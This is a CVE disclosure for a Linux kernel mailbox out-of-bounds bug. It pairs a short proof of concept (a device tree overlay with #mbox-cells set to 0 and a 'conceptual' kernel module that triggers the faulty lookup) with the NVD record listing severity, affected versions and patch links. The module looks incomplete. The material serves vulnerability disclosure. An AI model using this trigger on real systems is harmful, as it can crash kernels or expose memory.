CVE-2026-43281

/* * PoC for CVE-2026-43281 * This demonstrates the Device Tree configuration required to trigger the OOB access. * Requires a vulnerable Linux kernel and a mailbox controller using default xlate. */ /dts-v1/; /plugin/; / { compatible = "vendor,board"; fragment@0 { target-path = "/"; __overlay__ { vulnerable_mbox: mailbox@10000000 { compatible = "vendor,vulnerable-controller"; reg = <0x10000000 0x1000>; #mbox-cells = <0>; /* Trigger condition: 0 cells */ /* No xlate function provided by driver */ }; }; }; }; /* * Kernel module to attempt using the mailbox (Conceptual) */ #include <linux/module.h> #include <linux/of.h> #include <linux/mailbox_client.h> static int __init poc_init(void) { struct device_node *np; struct mbox_client cl; struct mbox_chan *chan; memset(&cl, 0, sizeof(cl)); // This call triggers fw_mbox_index_xlate with args_count=0 // leading to out-of-bounds access on vulnerable kernels. np = of_find_compatible_node(NULL, NULL, "vendor,vulnerable-controller"); if (np) { chan = mbox_request_channel(&cl, 0); // Check result or observe crash } return 0; } module_init(poc_init);

{"cve": {"id": "CVE-2026-43281", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:49.587", "lastModified": "2026-05-08T19:13:43.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmailbox: Prevent out-of-bounds access in fw_mbox_index_xlate()\n\nAlthough it is guided that `#mbox-cells` must be at least 1, there are\nmany instances of `#mbox-cells = <0>;` in the device tree. If that is\nthe case and the corresponding mailbox controller does not provide\n`fw_xlate` and of_xlate` function pointers, `fw_mbox_index_xlate()` will\nbe used by default and out-of-bounds accesses could occur due to lack of\nbounds check in that function."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.1", "versionEndExcluding": "6.1.167", "matchCriteriaId": "DF38EC6B-E140-4F00-8705-4F8DFC83958D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:-:*:*:*:*:*:*", "matchCriteriaId": "2C941823-DB24-432E-8F78-90665662756A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:rc2:*:*:*:*:*:*", "matchCriteriaId": "E909F0A0-2398-4420-AA63-605C42F5CADF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:rc3:*:*:*:*:*:*", "matchCriteriaId": "77E4C479-2D2C-4009-8D71-18AF50454D7B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:rc4:*:*:*:*:*:*", "matchCriteriaId": "C5AE67DB-5E94-4439-98E9-761ACCC48A4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:rc5:*:*:*:*:*:*", "matchCriteriaId": "777DE673-1457-420F-AAAF-9B1E3AC79328"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:rc6:*:*:*:*:*:*", "matchCriteriaId": "222D33AD-EC2D-4813-83C2-B904534BFCFE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:rc7:*:*:*:*:*:*", "matchCriteriaId": "A5F9AEA5-34CE-4ED3-9821-6C7435CE3320"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/01d9a8c2615d436b2b30c19c1afe9fcd5726ff6d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2662ed331a69c0b551f78af58f12eb629a89a36f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/31c4c67dec3362094a6747a171a4848e98542265", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4caae8168d1b808c7d4ff481295292e3f97f90fb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f50b39fd7c72a8734153644ee945ca0d8b2e65ab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fcd7f96c783626c07ee3ed75fa3739a8a2052310", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}